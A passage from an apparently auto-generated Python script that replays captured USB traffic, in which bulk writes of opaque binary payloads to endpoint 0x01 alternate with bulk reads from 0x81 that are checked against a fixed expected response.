b\"\\x6A\\x46\\x4A\\x15\\x82\\x5C\\x3F\\x77\\x1D\\x54\\xF6\\x49\\x12\\x7B\\xE6\\x69\"\n b\"\\x1A\\x91\\x3D\\xA3\\xCE\\xB5\\x76\\x7A\\xD5\\x74\\xA7\\xC8\\x38\\x1E\\x0D\\xD6\"\n b\"\\x98\\xD4\\x1F\\x02\\x34\\xC3\\xC3\\xEF\\x41\\x83\\x97\\xCA\\xBB\\x91\\xC6\\x55\"\n b\"\\x9E\\xE5\\x77\\x3E\\x3A\\x6E\\xAE\\x60\\x16\\x16\\x9B\\xD7\\x55\\xAF\\x92\\x7F\"\n b\"\\x11\\x43\\x74\\x87\\x7C\\xC4\\xD5\\x12\\x69\\x3D\\xEA\\xF3\\xB0\\x0D\\x1B\\x9D\"\n b\"\\x1E\\x8B\\x4C\\x68\\x4A\\x30\\x44\\x8A\\x1D\\xAE\\xDD\\x45\\xA2\\x6F\\x34\\x57\"\n b\"\\x36\\xE8\\x38\\x8B\\xFE\\xBF\\x15\\xBD\\xC4\\x5C\\x92\\xEE\\x42\\x82\\x27\\xB6\"\n b\"\\x4B\\xD3\\x41\\xA0\\x52\\xAD\\xE6\\x29\\x71\\x09\\x40\\x6B\\x2A\\x61\\x85\\x82\"\n b\"\\xE2\\xC4\\xBF\\x5C\\x28\\x9E\\x29\\x1B\\xC1\\xE2\\x58\\xED\\xFF\\x2F\\x17\\x7C\"\n b\"\\xA7\\xB3\\x04\\x0D\\x1F\\x9F\\x0E\\x34\\xC8\\xD8\\x7C\\x4C\\x34\\x53\\x42\\x6D\"\n b\"\\x88\\xBD\\xC8\\xEF\\x7E\\x32\\xA1\\x5A\\xBE\\xDC\\x8D\\x2B\\xF2\\x18\\x3E\\x33\"\n b\"\\xCF\\x4C\\x2A\\xBB\\x6E\\xA6\\x59\\xEB\\x5A\\x97\\xF3\\x12\\x29\\xB9\\x0E\\xEB\"\n b\"\\x03\\x83\\x19\\x64\\x3C\\x93\\x56\\x93\\x13\\x9C\\xEB\\x88\\xCB\\x2A\\x38\\xE6\"\n b\"\\x34\\x63\\x71\\x62\\x23\\xEC\\x70\\x58\\x64\\x4A\\x70\\xCE\\xB9\\xB2\\x94\\x3A\"\n b\"\\x84\\x6D\\x3E\\xFF\\x50\\x64\\x86\\xE6\\x0D\\x3E\\x55\\x70\")\n # Generated from packet 2695/2696\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2695/2696\")\n # Generated from packet 2697/2698\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x0A\\xB6\\x68\\xC8\\xF9\\x03\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x91\\x5E\\xFF\\x5D\\x5B\\xBE\\x29\\x1B\"\n b\"\\xB2\\xC2\\x58\\xED\\x8C\\x0F\\x17\\x7C\\xD4\\x93\\x04\\x0D\\x6C\\xBF\\x0E\\x34\"\n b\"\\xBB\\xF8\\x7C\\x4C\\x47\\x73\\x42\\x6D\\xFB\\x9D\\xC8\\xEF\\x0D\\x12\\xA1\\x5A\"\n b\"\\xCD\\xFC\\x8D\\x2B\\x81\\x38\\x3E\\x33\\xBC\\x6C\\x2A\\xBB\\x1D\\x86\\x59\\xEB\"\n b\"\\x29\\xB7\\xF3\\x12\\x5A\\x99\\x0E\\xEB\\x70\\xA3\\x19\\x64\\x4F\\xB3\\x56\\x93\"\n b\"\\x60\\xBC\\xEB\\x88\\xB8\\x0A\\x38\\xE6\\x47\\x43\\x71\\x62\\x50\\xCC\\x70\\x58\"\n b\"\\x17\\x6A\\x70\\xCE\\xCA\\x92\\x94\\x3A\\xF7\\x4D\\x3E\\xFF\\x23\\x44\\x86\\xE6\"\n b\"\\x7E\\x1E\\x55\\x70\\xD1\\x5B\\xA8\\xCB\\x02\\x48\\x3F\\xDF\\xB8\\x42\\x03\\x89\"\n b\"\\xE6\\xFA\\x63\\xBC\\xC5\\x63\\x29\\x7C\\x2B\\xF9\\xAD\\xB0\\x46\\xEC\\x3A\\x9C\"\n b\"\\xB0\\xC4\\x13\\xB4\\x42\\xE7\\x3B\\x1E\\xB3\\x12\\x61\\xB9\\x60\\x00\\xA8\\xB7\"\n b\"\\x6E\\x3C\\xA6\\xFD\\x93\\xD7\\xA7\\xBE\\x84\\xCF\\x25\\xCC\\x0A\\x7E\\xA0\\x64\"\n b\"\\x97\\xDA\\x17\\xAF\\x9C\\xD4\\x83\\xA1\\x36\\x80\\x6D\\x5E\\x6C\\xC8\\xE0\\x03\"\n b\"\\xA2\\xCA\\xDB\\x7C\\xD4\\xA5\\xB3\\x15\\x2D\\xBE\\x4A\\x52\\x3B\\x91\\xD1\\xD6\"\n b\"\\x0C\\xF3\\x9A\\x63\\x65\\xEF\\x5D\\xE2\\x62\\x9A\\x01\\xA3\\x37\\x83\\x93\\x93\"\n b\"\\xCB\\xE8\\x6C\\x8A\\x7E\\x0A\\xD8\\xDB\\x2D\\x5E\\xAA\\x67\\x9D\\x29\\x0D\\xD3\"\n b\"\\xC2\\x2A\\x9F\\x1A\\x3D\\xED\\x0C\\xD5\\x23\\x2F\\xC1\\x08\\x75\\x23\\x30\\x99\"\n b\"\\x09\\x61\\x0A\\x22\\xA2\\x8A\\xCA\\xF6\\x61\\xAC\\x1C\\x5A\")\n # Generated from packet 2699/2700\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2699/2700\")\n # Generated from packet 2701/2702\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x58\\x47\\x7A\\xF4\\x54\\x3A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB7\\x3E\\xC2\\xF4\\xFC\\x3D\\x99\\x34\"\n b\"\\x2D\\x8F\\x74\\x5E\\x87\\x91\\xD4\\x94\\x95\\x45\\x78\\x83\\x49\\xA8\\x0D\\xC3\"\n b\"\\x1D\\x8D\\xF7\\xD1\\x4C\\x12\\xD2\\xA5\\xFD\\x79\\x76\\x2E\\x24\\x27\\x5A\\x56\"\n b\"\\x11\\x90\\x19\\xEF\\x18\\x38\\x5D\\x03\\xFE\\xC0\\x30\\x84\\x5F\\x55\\x25\\x7D\"\n b\"\\x60\\xB4\\xFC\\x4D\\x91\\xDA\\x52\\xCB\\xC6\\x2F\\x06\\x70\\xCE\\xCD\\x51\\xEE\"\n b\"\\x57\\x02\\xEE\\x2F\\xBE\\x10\\x7A\\xA8\\xB2\\xCC\\xB2\\xFF\\x9F\\xFA\\x88\\x1C\"\n b\"\\x18\\xA9\\x0E\\xC2\\xAD\\xF1\\x07\\x93\\xCB\\xE7\\x1E\\xED\\x6C\\x6E\\x3D\\x49\"\n b\"\\xCA\\x2C\\x66\\x21\\x0F\\xC5\\xAE\\x84\\x35\\x1B\\x64\\xDE\\xA3\\x5C\\x8D\\xA2\"\n b\"\\xD2\\xAA\\xB3\\x6F\\x9D\\x3B\\xEB\\xF3\\x8E\\x4A\\x53\\xDF\\x84\\x73\\x84\\x98\"\n b\"\\xF6\\x0B\\x78\\x13\\xC8\\x2A\\xC4\\xFD\\x42\\xA8\\x32\\x72\\x2B\\x1D\\xF2\\x9C\"\n b\"\\x07\\x6C\\xBE\\x58\\xB4\\x74\\x83\\x0C\\xA0\\xFC\\x22\\xE6\\xD3\\xAC\\x16\\xD7\"\n b\"\\x79\\x55\\x65\\xF9\\x84\\xAC\\x4F\\xC3\\x93\\x23\\x70\\xD3\\xDC\\xD4\\x5F\\xDC\"\n b\"\\x61\\xCF\\x87\\x6A\\xB2\\xA1\\x78\\x23\\xFB\\x25\\x6F\\xAC\\xFA\\x1F\\x28\\x0A\"\n b\"\\xFA\\x89\\xF5\\xF2\\x1E\\x7D\\xC8\\x2D\\xB4\\xB8\\x1C\\x24\\x0C\\xA1\\x41\\x7E\"\n b\"\\xDF\\x37\\xEE\\x3B\\x22\\x8C\\x3D\\x28\\xB5\\x98\\x87\\x22\\x89\\xCE\\xD9\\x9A\"\n b\"\\xE9\\xFB\\xFA\\x03\\xA3\\x3B\\x14\\x99\\x27\\xF7\\x79\\x8C\\xB0\\xDB\\x8F\\xA4\"\n b\"\\x99\\xF3\\x7D\\x87\\xB1\\x59\\x8C\\x72\\xEB\\xFE\\x5F\\x60\")\n # Generated from packet 2703/2704\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2703/2704\")\n # Generated from packet 2705/2706\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x96\\x17\\x74\\xE0\\xD0\\x6D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAE\\x23\\xB3\\x3A\\x26\\xC5\\x2A\\xFC\"\n b\"\\x77\\xE2\\x7D\\xB2\\x0A\\x50\\xFE\\xE2\\xF6\\x04\\xAD\\xE3\\x3D\\x8A\\x82\\x28\"\n b\"\\x55\\x41\\xE5\\x04\\x6D\\x42\\x0B\\xDE\\x92\\x1D\\x62\\x9E\\x8E\\x1D\\x30\\x8B\"\n b\"\\xE0\\xC2\\x8D\\x77\\x46\\x72\\x0E\\xD1\\x53\\x72\\xC2\\xE5\\xA4\\x7E\\x90\\x78\"\n b\"\\x9F\\x15\\x46\\x58\\x27\\xB5\\x61\\x26\\x1C\\xE7\\x15\\xCE\\x06\\x92\\x77\\x51\"\n b\"\\x0E\\x5B\\x49\\x5E\\x21\\x4B\\x69\\x56\\xCB\\x90\\xA3\\x82\\xEF\\xDB\\x7A\\x99\"\n b\"\\x2E\\x0A\\xC8\\x74\\x44\\xA0\\xD6\\xD4\\x8E\\xB2\\x02\\x78\\x99\\x6E\\xEF\\x0D\"\n b\"\\xD9\\x3A\\xCA\\xF7\\xCB\\x6B\\x55\\xD2\\xBF\\xDA\\x3E\\x76\\x34\\x03\\x60\\x5A\"\n b\"\\x4C\\x36\\xD7\\x19\\xF5\\x3F\\x7F\\x5D\\x19\\xD9\\x87\\x30\\x9E\\x78\\x12\\x25\"\n b\"\\x67\\x47\\xF3\\xFC\\x57\\xB6\\x9D\\x52\\xD1\\xE1\\x68\\x06\\x6A\\xE9\\x8A\\x51\"\n b\"\\xF4\\x70\\x45\\xEE\\x35\\x99\\x57\\x7A\\xB2\\x95\\x8B\\xB2\\xE5\\xB8\\xBD\\x88\"\n b\"\\x06\\x3F\\xEE\\x0E\\xD8\\x8A\\xB6\\x07\\x89\\xEC\\xA0\\x1E\\xF7\\x4B\\x29\\x3D\"\n b\"\\x53\\xED\\x6B\\x66\\x3B\\x28\\x82\\xAE\\x9E\\x12\\x5C\\x64\\xC4\\x84\\x1B\\x8D\"\n b\"\\xB8\\xF5\\xED\\xB3\\x75\\xBA\\x7C\\xEB\\xE9\\xA9\\x0D\\x53\\xC5\\xA3\\x34\\x84\"\n b\"\\x82\\xD1\\x4C\\x78\\x09\\xEF\\x6D\\xC4\\xE7\\x65\\xEF\\x32\\x68\\x0C\\x5A\\xF2\"\n b\"\\x86\\x20\\x2B\\xBE\\x42\\x93\\x33\\x83\\x16\\x87\\xBB\\x22\\xFC\\xF4\\xEB\\x16\"\n b\"\\xCD\\x5E\\x12\\x65\\xE3\\xA3\\xEB\\x4F\\xD9\\xB4\\x64\\x70\")\n # Generated from packet 2707/2708\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2707/2708\")\n # Generated from packet 2709/2710\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x8C\\x23\\x2D\\x2C\\xE7\\x77\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4C\\x97\\xDE\\x95\\x4C\\xDE\\x8B\\xFA\"\n b\"\\x93\\x63\\x77\\x5C\\x23\\xE0\\xD1\\x49\\x23\\x2C\\xE5\\xBE\\x2F\\x7E\\x78\\x85\"\n b\"\\x44\\xA8\\x58\\x3D\\xE4\\x8F\\x26\\x06\\xB6\\xFB\\xCE\\x1C\\xC3\\x99\\x51\\x14\"\n b\"\\x0A\\xA7\\x5E\\x3B\\x1A\\x87\\x56\\xD1\\xC1\\x4D\\x82\\xF5\\x8A\\x94\\x99\\x34\"\n b\"\\x5B\\x26\\x74\\x5E\\xF1\\x38\\xD4\\x94\\xE3\\xEC\\x78\\x83\\x3F\\x01\\x0D\\xC3\"\n b\"\\x6B\\x24\\xF7\\xD1\\x3A\\xBB\\xD2\\xA5\\x8B\\xD0\\x76\\x2E\\x52\\x8E\\x5A\\x56\"\n b\"\\x67\\x39\\x19\\xEF\\x6E\\x91\\x5D\\x03\\x88\\x69\\x30\\x84\\x29\\xFC\\x25\\x7D\"\n b\"\\x16\\x1D\\xFC\\x4D\\xE7\\x73\\x52\\xCB\\xB0\\x86\\x06\\x70\\xB8\\x64\\x51\\xEE\"\n b\"\\x21\\xAB\\xEE\\x2F\\xC8\\xB9\\x7A\\xA8\\xC4\\x65\\xB2\\xFF\\xE9\\x53\\x88\\x1C\"\n b\"\\x6E\\x00\\x0E\\xC2\\xDB\\x58\\x07\\x93\\xBD\\x4E\\x1E\\xED\\x1A\\xC7\\x3D\\x49\"\n b\"\\xBC\\x85\\x66\\x21\\x79\\x6C\\xAE\\x84\\x43\\xB2\\x64\\xDE\\xD5\\xF5\\x8D\\xA2\"\n b\"\\xA4\\x03\\xB3\\x6F\\xEB\\x92\\xEB\\xF3\\xF8\\xE3\\x53\\xDF\\xF2\\xDA\\x84\\x98\"\n b\"\\x80\\xA2\\x78\\x13\\xBE\\x83\\xC4\\xFD\\x34\\x01\\x32\\x72\\x5D\\xB4\\xF2\\x9C\"\n b\"\\x71\\xC5\\xBE\\x58\\xC2\\xDD\\x83\\x0C\\xD6\\x55\\x22\\xE6\\xA5\\x05\\x16\\xD7\"\n b\"\\x0F\\xFC\\x65\\xF9\\xF2\\x05\\x4F\\xC3\\xE5\\x8A\\x70\\xD3\\xAA\\x7D\\x5F\\xDC\"\n b\"\\x17\\x66\\x87\\x6A\\xC4\\x08\\x78\\x23\\x8D\\x8C\\x6F\\xAC\\x8C\\xB6\\x28\\x0A\"\n b\"\\x8C\\x20\\xF5\\xF2\\x68\\xD4\\xC8\\x2D\\xC2\\x11\\x1C\\x24\")\n # Generated from packet 2711/2712\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2711/2712\")\n # Generated from packet 2713/2714\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x42\\x73\\x23\\x38\\x71\\x33\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x23\\x9E\\xD7\\xCB\\xD9\\xB7\\xC6\\x55\"\n b\"\\xFC\\xC3\\x77\\x3E\\x58\\x48\\xAE\\x60\\x74\\x30\\x9B\\xD7\\x37\\x89\\x92\\x7F\"\n b\"\\x73\\x65\\x74\\x87\\x1E\\xE2\\xD5\\x12\\x0B\\x1B\\xEA\\xF3\\xD2\\x2B\\x1B\\x9D\"\n b\"\\x7C\\xAD\\x4C\\x68\\x28\\x16\\x44\\x8A\\x7F\\x88\\xDD\\x45\\xC0\\x49\\x34\\x57\"\n b\"\\x54\\xCE\\x38\\x8B\\x9C\\x99\\x15\\xBD\\xA6\\x7A\\x92\\xEE\\x20\\xA4\\x27\\xB6\"\n b\"\\x29\\xF5\\x41\\xA0\\x30\\x8B\\xE6\\x29\\x13\\x2F\\x40\\x6B\\x48\\x47\\x85\\x82\"\n b\"\\x80\\xE2\\xBF\\x5C\\x4A\\xB8\\x29\\x1B\\xA3\\xC4\\x58\\xED\\x9D\\x09\\x17\\x7C\"\n b\"\\xC5\\x95\\x04\\x0D\\x7D\\xB9\\x0E\\x34\\xAA\\xFE\\x7C\\x4C\\x56\\x75\\x42\\x6D\"\n b\"\\xEA\\x9B\\xC8\\xEF\\x1C\\x14\\xA1\\x5A\\xDC\\xFA\\x8D\\x2B\\x90\\x3E\\x3E\\x33\"\n b\"\\xAD\\x6A\\x2A\\xBB\\x0C\\x80\\x59\\xEB\\x38\\xB1\\xF3\\x12\\x4B\\x9F\\x0E\\xEB\"\n b\"\\x61\\xA5\\x19\\x64\\x5E\\xB5\\x56\\x93\\x71\\xBA\\xEB\\x88\\xA9\\x0C\\x38\\xE6\"\n b\"\\x56\\x45\\x71\\x62\\x41\\xCA\\x70\\x58\\x06\\x6C\\x70\\xCE\\xDB\\x94\\x94\\x3A\"\n b\"\\xE6\\x4B\\x3E\\xFF\\x32\\x42\\x86\\xE6\\x6F\\x18\\x55\\x70\\xC0\\x5D\\xA8\\xCB\"\n b\"\\x13\\x4E\\x3F\\xDF\\xA9\\x44\\x03\\x89\\xF7\\xFC\\x63\\xBC\\xD4\\x65\\x29\\x7C\"\n b\"\\x3A\\xFF\\xAD\\xB0\\x57\\xEA\\x3A\\x9C\\xA1\\xC2\\x13\\xB4\\x53\\xE1\\x3B\\x1E\"\n b\"\\xA2\\x14\\x61\\xB9\\x71\\x06\\xA8\\xB7\\x7F\\x3A\\xA6\\xFD\\x82\\xD1\\xA7\\xBE\"\n b\"\\x95\\xC9\\x25\\xCC\\x1B\\x78\\xA0\\x64\\x86\\xDC\\x17\\xAF\")\n # Generated from packet 2715/2716\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2715/2716\")\n # Generated from packet 2717/2718\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x10\\x82\\x31\\x04\\x17\\x5D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9A\\x75\\xF8\\x47\\xBA\\x96\\x18\\x61\"\n b\"\\xC4\\xAD\\x4A\\x15\\x2C\\xB7\\x3F\\x77\\xB3\\xBF\\xF6\\x49\\xBC\\x90\\xE6\\x69\"\n b\"\\xB4\\x7A\\x3D\\xA3\\x60\\x5E\\x76\\x7A\\x7B\\x9F\\xA7\\xC8\\x96\\xF5\\x0D\\xD6\"\n b\"\\x36\\x3F\\x1F\\x02\\x9A\\x28\\xC3\\xEF\\xEF\\x68\\x97\\xCA\\x15\\x7A\\xC6\\x55\"\n b\"\\x30\\x0E\\x77\\x3E\\x94\\x85\\xAE\\x60\\xB8\\xFD\\x9B\\xD7\\xFB\\x44\\x92\\x7F\"\n b\"\\xBF\\xA8\\x74\\x87\\xD2\\x2F\\xD5\\x12\\xC7\\xD6\\xEA\\xF3\\x1E\\xE6\\x1B\\x9D\"\n b\"\\xB0\\x60\\x4C\\x68\\xE4\\xDB\\x44\\x8A\\xB3\\x45\\xDD\\x45\\x0C\\x84\\x34\\x57\"\n b\"\\x98\\x03\\x38\\x8B\\x50\\x54\\x15\\xBD\\x6A\\xB7\\x92\\xEE\\xEC\\x69\\x27\\xB6\"\n b\"\\xE5\\x38\\x41\\xA0\\xFC\\x46\\xE6\\x29\\xDF\\xE2\\x40\\x6B\\x84\\x8A\\x85\\x82\"\n b\"\\x4C\\x2F\\xBF\\x5C\\x86\\x75\\x29\\x1B\\x6F\\x09\\x58\\xED\\x51\\xC4\\x17\\x7C\"\n b\"\\x09\\x58\\x04\\x0D\\xB1\\x74\\x0E\\x34\\x66\\x33\\x7C\\x4C\\x9A\\xB8\\x42\\x6D\"\n b\"\\x26\\x56\\xC8\\xEF\\xD0\\xD9\\xA1\\x5A\\x10\\x37\\x8D\\x2B\\x5C\\xF3\\x3E\\x33\"\n b\"\\x61\\xA7\\x2A\\xBB\\xC0\\x4D\\x59\\xEB\\xF4\\x7C\\xF3\\x12\\x87\\x52\\x0E\\xEB\"\n b\"\\xAD\\x68\\x19\\x64\\x92\\x78\\x56\\x93\\xBD\\x77\\xEB\\x88\\x65\\xC1\\x38\\xE6\"\n b\"\\x9A\\x88\\x71\\x62\\x8D\\x07\\x70\\x58\\xCA\\xA1\\x70\\xCE\\x17\\x59\\x94\\x3A\"\n b\"\\x2A\\x86\\x3E\\xFF\\xFE\\x8F\\x86\\xE6\\xA3\\xD5\\x55\\x70\\x0C\\x90\\xA8\\xCB\"\n b\"\\xDF\\x83\\x3F\\xDF\\x65\\x89\\x03\\x89\\x3B\\x31\\x63\\xBC\")\n # Generated from packet 2719/2720\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2719/2720\")\n # Generated from packet 2721/2722\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDE\\xD2\\x3F\\x10\\x48\\x4E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAE\\x7A\\x34\\x5F\\x04\\x1F\\xD4\\x94\"\n b\"\\x16\\xCB\\x78\\x83\\xCA\\x26\\x0D\\xC3\\x9E\\x03\\xF7\\xD1\\xCF\\x9C\\xD2\\xA5\"\n b\"\\x7E\\xF7\\x76\\x2E\\xA7\\xA9\\x5A\\x56\\x92\\x1E\\x19\\xEF\\x9B\\xB6\\x5D\\x03\"\n b\"\\x7D\\x4E\\x30\\x84\\xDC\\xDB\\x25\\x7D\\xE3\\x3A\\xFC\\x4D\\x12\\x54\\x52\\xCB\"\n b\"\\x45\\xA1\\x06\\x70\\x4D\\x43\\x51\\xEE\\xD4\\x8C\\xEE\\x2F\\x3D\\x9E\\x7A\\xA8\"\n b\"\\x31\\x42\\xB2\\xFF\\x1C\\x74\\x88\\x1C\\x9B\\x27\\x0E\\xC2\\x2E\\x7F\\x07\\x93\"\n b\"\\x48\\x69\\x1E\\xED\\xEF\\xE0\\x3D\\x49\\x49\\xA2\\x66\\x21\\x8C\\x4B\\xAE\\x84\"\n b\"\\xB6\\x95\\x64\\xDE\\x20\\xD2\\x8D\\xA2\\x51\\x24\\xB3\\x6F\\x1E\\xB5\\xEB\\xF3\"\n b\"\\x0D\\xC4\\x53\\xDF\\x07\\xFD\\x84\\x98\\x75\\x85\\x78\\x13\\x4B\\xA4\\xC4\\xFD\"\n b\"\\xC1\\x26\\x32\\x72\\xA8\\x93\\xF2\\x9C\\x84\\xE2\\xBE\\x58\\x37\\xFA\\x83\\x0C\"\n b\"\\x23\\x72\\x22\\xE6\\x50\\x22\\x16\\xD7\\xFA\\xDB\\x65\\xF9\\x07\\x22\\x4F\\xC3\"\n b\"\\x10\\xAD\\x70\\xD3\\x5F\\x5A\\x5F\\xDC\\xE2\\x41\\x87\\x6A\\x31\\x2F\\x78\\x23\"\n b\"\\x78\\xAB\\x6F\\xAC\\x79\\x91\\x28\\x0A\\x79\\x07\\xF5\\xF2\\x9D\\xF3\\xC8\\x2D\"\n b\"\\x37\\x36\\x1C\\x24\\x8F\\x2F\\x41\\x7E\\x5C\\xB9\\xEE\\x3B\\xA1\\x02\\x3D\\x28\"\n b\"\\x36\\x16\\x87\\x22\\x0A\\x40\\xD9\\x9A\\x6A\\x75\\xFA\\x03\\x20\\xB5\\x14\\x99\"\n b\"\\xA4\\x79\\x79\\x8C\\x33\\x55\\x8F\\xA4\\x1A\\x7D\\x7D\\x87\\x32\\xD7\\x8C\\x72\"\n b\"\\x68\\x70\\x5F\\x60\\xA1\\x7E\\x51\\x5C\\xAF\\x34\\xAC\\xB7\")\n # Generated from packet 2723/2724\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2723/2724\")\n # Generated from packet 2725/2726\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB4\\x60\\x14\\x7C\\x78\\x67\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x84\\xC5\\xBF\\x14\\xB2\\x64\\x1C\\x92\"\n b\"\\xE1\\xE2\\xC2\\x27\\xB9\\xEB\\x93\\x41\\xAF\\xF2\\xED\\xE6\\x26\\xD1\\x49\\x40\"\n b\"\\x64\\x8A\\x21\\x85\\x8D\\x42\\x84\\xBF\\x53\\x88\\xDE\\x29\\x14\\x61\\xA2\\x58\"\n b\"\\xE2\\x5F\\x6F\\x17\\x73\\x07\\xF3\\x04\\x02\\xBF\\xDF\\x0E\\x3B\\x68\\x98\\x7C\"\n b\"\\x43\\x94\\x13\\x42\\x62\\x28\\xFD\\xC8\\xE0\\xDE\\x72\\xA1\\x55\\x1E\\x9C\\x8D\"\n b\"\\x24\\x52\\x58\\x3E\\x3C\\x6F\\x0C\\x2A\\xB4\\xCE\\xE6\\x59\\xE4\\xFA\\xD7\\xF3\"\n b\"\\x1D\\x89\\xF9\\x0E\\xE4\\xA3\\xC3\\x19\\x6B\\x9C\\xD3\\x56\\x9C\\xB3\\xDC\\xEB\"\n b\"\\x87\\x6B\\x6A\\x38\\xE9\\x94\\x23\\x71\\x6D\\x83\\xAC\\x70\\x57\\xC4\\x0A\\x70\"\n b\"\\xC1\\x19\\xF2\\x94\\x35\\x24\\x2D\\x3E\\xF0\\xF0\\x24\\x86\\xE9\\xAD\\x7E\\x55\"\n b\"\\x7F\\x02\\x3B\\xA8\\xC4\\xD1\\x28\\x3F\\xD0\\x6B\\x22\\x03\\x86\\x35\\x9A\\x63\"\n b\"\\xB3\\x16\\x03\\x29\\x73\\xF8\\x99\\xAD\\xBF\\x95\\x8C\\x3A\\x93\\x63\\xA4\\x13\"\n b\"\\xBB\\x91\\x87\\x3B\\x11\\x60\\x72\\x61\\xB6\\xB3\\x60\\xA8\\xB8\\xBD\\x5C\\xA6\"\n b\"\\xF2\\x40\\xB7\\xA7\\xB1\\x57\\xAF\\x25\\xC3\\xD9\\x1E\\xA0\\x6B\\x44\\xBA\\x17\"\n b\"\\xA0\\x4F\\xB4\\x83\\xAE\\xE5\\xE0\\x6D\\x51\\xBF\\xA8\\xE0\\x0C\\x71\\xAA\\xDB\"\n b\"\\x73\\x07\\xC5\\xB3\\x1A\\xFE\\xDE\\x4A\\x5D\\xE8\\xF1\\xD1\\xD9\\xDF\\x93\\x9A\"\n b\"\\x6C\\xB6\\x8F\\x5D\\xED\\xB1\\xFA\\x01\\xAC\\xE4\\xE3\\x93\\x9C\\x18\\x88\\x6C\"\n b\"\\x85\\xAD\\x6A\\xD8\\xD4\\xFE\\x3E\\xAA\\x68\\x4E\\x49\\x0D\")\n # Generated from packet 2727/2728\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2727/2728\")\n # Generated from packet 2729/2730\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x7A\\x30\\x1A\\x68\\x0D\\x70\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA7\\xFF\\x55\\xCF\\xBD\\x31\\x77\\x51\"\n b\"\\xB5\\xF8\\x49\\x5E\\x9A\\xE8\\x69\\x56\\x70\\x33\\xA3\\x82\\x54\\x78\\x7A\\x99\"\n b\"\\x95\\xA9\\xC8\\x74\\xFF\\x03\\xD6\\xD4\\x35\\x11\\x02\\x78\\x22\\xCD\\xEF\\x0D\"\n b\"\\x62\\x99\\xCA\\xF7\\x70\\xC8\\x55\\xD2\\x04\\x79\\x3E\\x76\\x8F\\xA0\\x60\\x5A\"\n b\"\\xF7\\x95\\xD7\\x19\\x4E\\x9C\\x7F\\x5D\\xA2\\x7A\\x87\\x30\\x25\\xDB\\x12\\x25\"\n b\"\\xDC\\xE4\\xF3\\xFC\\xEC\\x15\\x9D\\x52\\x6A\\x42\\x68\\x06\\xD1\\x4A\\x8A\\x51\"\n b\"\\x4F\\xD3\\x45\\xEE\\x8E\\x3A\\x57\\x7A\\x09\\x36\\x8B\\xB2\\x5E\\x1B\\xBD\\x88\"\n b\"\\xBD\\x9C\\xEE\\x0E\\x63\\x29\\xB6\\x07\\x32\\x4F\\xA0\\x1E\\x4C\\xE8\\x29\\x3D\"\n b\"\\xE8\\x4E\\x6B\\x66\\x80\\x8B\\x82\\xAE\\x25\\xB1\\x5C\\x64\\x7F\\x27\\x1B\\x8D\"\n b\"\\x03\\x56\\xED\\xB3\\xCE\\x19\\x7C\\xEB\\x52\\x0A\\x0D\\x53\\x7E\\x00\\x34\\x84\"\n b\"\\x39\\x72\\x4C\\x78\\xB2\\x4C\\x6D\\xC4\\x5C\\xC6\\xEF\\x32\\xD3\\xAF\\x5A\\xF2\"\n b\"\\x3D\\x83\\x2B\\xBE\\xF9\\x30\\x33\\x83\\xAD\\x24\\xBB\\x22\\x47\\x57\\xEB\\x16\"\n b\"\\x76\\xFD\\x12\\x65\\x58\\x00\\xEB\\x4F\\x62\\x17\\x64\\x70\\x72\\x58\\x93\\x5F\"\n b\"\\x7D\\xE5\\x88\\x87\\xCB\\x36\\xE6\\x78\\x82\\x7F\\x62\\x6F\\x0D\\x7E\\x58\\x28\"\n b\"\\xAB\\x7E\\xCE\\xF5\\x53\\x9A\\x3A\\xC8\\x8C\\x30\\xFF\\x1C\\x85\\x88\\xE6\\x41\"\n 